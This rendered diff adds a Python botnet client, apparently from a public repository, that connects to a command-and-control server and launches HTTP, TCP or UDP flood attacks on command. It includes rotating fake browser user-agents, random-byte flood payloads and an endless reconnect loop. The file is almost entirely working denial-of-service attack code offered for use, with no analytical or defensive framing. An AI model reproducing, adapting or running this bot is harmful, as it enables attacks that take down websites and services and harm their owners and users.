|
| 1 | +#!/usr/bin/env python3 |
| 2 | +#Code By Leeon123 |
| 3 | + |
| 4 | +#-- Python Bot version v1.0 --# |
| 5 | + |
| 6 | +import argparse |
| 7 | +import socket |
| 8 | +import sys |
| 9 | +import os |
| 10 | +import time |
| 11 | +from multiprocessing import Process |
| 12 | +import random |
| 13 | +import threading |
| 14 | + |
| 15 | +curProcess = None |
| 16 | + |
| 17 | +useragents=["Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1", |
| 18 | +"Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1", |
| 19 | +"Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", |
| 20 | +"Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0", |
| 21 | +"Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1", |
| 22 | +"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2", |
| 23 | +"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0", |
| 24 | +"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0", |
| 25 | +"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", |
| 26 | +"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", |
| 27 | +"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27", |
| 28 | +"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1", |
| 29 | +"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7", |
| 30 | +"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6", |
| 31 | +"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1", |
| 32 | + "Mozilla/5.0 (Linux; Android 7.1.1; MI 6 Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043807 Mobile Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN", |
| 33 | + "Mozilla/5.0 (Linux; Android 7.1.1; OD103 Build/NMF26F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN", |
| 34 | + "Mozilla/5.0 (Linux; Android 6.0.1; SM919 Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN", |
| 35 | + "Mozilla/5.0 (Linux; Android 5.1.1; vivo X6S A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN", |
| 36 | + "Mozilla/5.0 (Linux; Android 5.1; HUAWEI TAG-AL00 Build/HUAWEITAG-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043622 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",] |
| 37 | + |
| 38 | +acceptall = [ |
| 39 | +"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", |
| 40 | +"Accept-Encoding: gzip, deflate\r\n", |
| 41 | +"Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", |
| 42 | +"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n", |
| 43 | +"Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n", |
| 44 | +"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n", |
| 45 | +"Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n", |
| 46 | +"Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n", |
| 47 | +"Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n," |
| 48 | +"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n", |
| 49 | +"Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n", |
| 50 | +"Accept: text/html, application/xhtml+xml", |
| 51 | +"Accept-Language: en-US,en;q=0.5\r\n", |
| 52 | +"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n", |
| 53 | +"Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",] |
| 54 | + |
| 55 | +tcpbytes = random._urandom(1024) #For the tcp and udp flood |
| 56 | +udpbytes = random._urandom(512) |
| 57 | + |
| 58 | +def CC(ip, port, thread): |
| 59 | + for x in range(100000000):#For a long time flooding |
| 60 | + get_host = "GET / HTTP/1.1\r\nHost: " + ip + "\r\n" |
| 61 | + connection = "Connection: Keep-Alive\r\n" |
| 62 | + useragent = "User-Agent: " + random.choice(useragents) + "\r\n" |
| 63 | + accept = random.choice(acceptall) |
| 64 | + http = get_host + useragent + accept + connection + "\r\n" |
| 65 | + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| 66 | + s.connect((str(ip), int(port))) |
| 67 | + for y in range(thread): |
| 68 | + s.send(str.encode(http)) |
| 69 | + |
| 70 | +def tcpflood(ip, port, thread): |
| 71 | + for x in range(100000000): |
| 72 | + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| 73 | + s.connect((str(ip),int(port))) |
| 74 | + s.send(tcpbytes) |
| 75 | + for y in range(thread): |
| 76 | + s.send(tcpbytes) |
| 77 | + s.close() |
| 78 | + |
| 79 | +def udpflood(ip, port, thread): |
| 80 | + for x in range(100000000): |
| 81 | + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
| 82 | + sendip=(str(ip),int(port)) |
| 83 | + for y in range(thread): |
| 84 | + s.sendto(udpbytes, sendip) |
| 85 | + s.close() |
| 86 | + |
| 87 | +def cmdHandle(sock, parser):#Now you know how does the bot handle the commands from cnc.py |
| 88 | + global curProcess |
| 89 | + while True: |
| 90 | + data = sock.recv(1024).decode() |
| 91 | + if len(data) == 0: |
| 92 | + main() |
| 93 | + if data[0] == '!': |
| 94 | + try: |
| 95 | + options = parser.parse_args(data[1:].split()) |
| 96 | + |
| 97 | + m_host = options.host |
| 98 | + m_port = options.port |
| 99 | + m_thread = options.threads |
| 100 | + m_cmd = options.cmd |
| 101 | + |
| 102 | + if m_cmd.lower() == 'cc': |
| 103 | + if curProcess !=None and curProcess.is_alive(): |
| 104 | + curProcess.terminate() |
| 105 | + curProcess = None |
| 106 | + p = Process(target=CC, args = (m_host, m_port, m_thread)) |
| 107 | + p.start() |
| 108 | + #print("CC Flood Start") |
| 109 | + curProcess = p |
| 110 | + if m_cmd.lower() == 'tcp': |
| 111 | + if curProcess !=None and curProcess.is_alive(): |
| 112 | + curProcess.terminate() |
| 113 | + curProcess = None |
| 114 | + p = Process(target=tcpflood, args = (m_host, m_port, m_thread)) |
| 115 | + p.start() |
| 116 | + #print("TCP Flood Start") |
| 117 | + curProcess = p |
| 118 | + if m_cmd.lower() == 'udp': |
| 119 | + if curProcess !=None and curProcess.is_alive(): |
| 120 | + curProcess.terminate() |
| 121 | + curProcess = None |
| 122 | + p = Process(target=udpflood, args = (m_host, m_port, m_thread)) |
| 123 | + p.start() |
| 124 | + #print("UDP Flood Start") |
| 125 | + curProcess = p |
| 126 | + elif m_cmd.lower() == 'stop': |
| 127 | + if curProcess.is_alive(): |
| 128 | + curProcess.terminate() |
| 129 | + except: |
| 130 | + pass |
| 131 | + |
| 132 | +def main(): |
| 133 | +p = argparse.ArgumentParser()#Now you know how does the bot handle the commands from cnc.py |
| 134 | +p.add_argument('-H', dest='host', type=str) |
| 135 | +p.add_argument('-p', dest='port',type=int) |
| 136 | +p.add_argument('-t', dest='threads',type=int) |
| 137 | +p.add_argument('-c', dest='cmd', type=str) |
| 138 | + |
| 139 | +try: |
| 140 | +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| 141 | +s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) |
| 142 | +s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)#Keepalive connection |
| 143 | +s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPIDLE, 10) |
| 144 | +s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPINTVL, 10) |
| 145 | +s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPCNT, 3) |
| 146 | +s.connect(('127.0.0.1',1337))#Change your server ip and port |
| 147 | + |
| 148 | +cmdHandle(s, p) |
| 149 | + |
| 150 | +except Exception as e: |
| 151 | +connect() |
| 152 | + |
| 153 | +def connect():#for a loop to connect the server until this script break. |
| 154 | +time.sleep(5) |
| 155 | +main() |
| 156 | + |
| 157 | +if __name__ == '__main__': |
| 158 | + main() |
0 commit comments